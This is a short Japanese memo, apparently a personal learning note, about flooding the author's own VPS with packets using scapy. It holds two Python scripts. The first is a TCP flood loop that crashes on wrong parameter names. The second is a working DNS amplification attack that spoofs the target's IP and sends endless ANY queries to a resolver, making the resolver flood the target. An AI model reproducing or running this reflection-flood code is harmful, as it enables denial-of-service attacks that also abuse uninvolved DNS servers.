自分の契約しているvpsに自分でパケットを送る
$ pip3 install scapy
from scapy.all import* source_IP = "*.*.*.*" target_IP = "*.*.*.*" source_port = "80" i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1/TCP1 send(pkt, inter = .001) print("paket sent ", i) i = i + 1
$ python3 main.py
raise AttributeError(fname)
AttributeError: source_IP
うまくいかんな
違う方法
from scapy.all import * target = "*.*.*.*" dns1 = "*.*.*.*" udp = UDP(dport=53) dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname="www.google.com", qtype=255)) i = 1 while True: ip = IP(src=target, dst=dns1) request = (ip/udp/dns) send(request) print("udp sent ", i) i = i + 1
なるほど、while文でパケットを送り続けるのか
ネットワーク周りの知識がかなり必要だな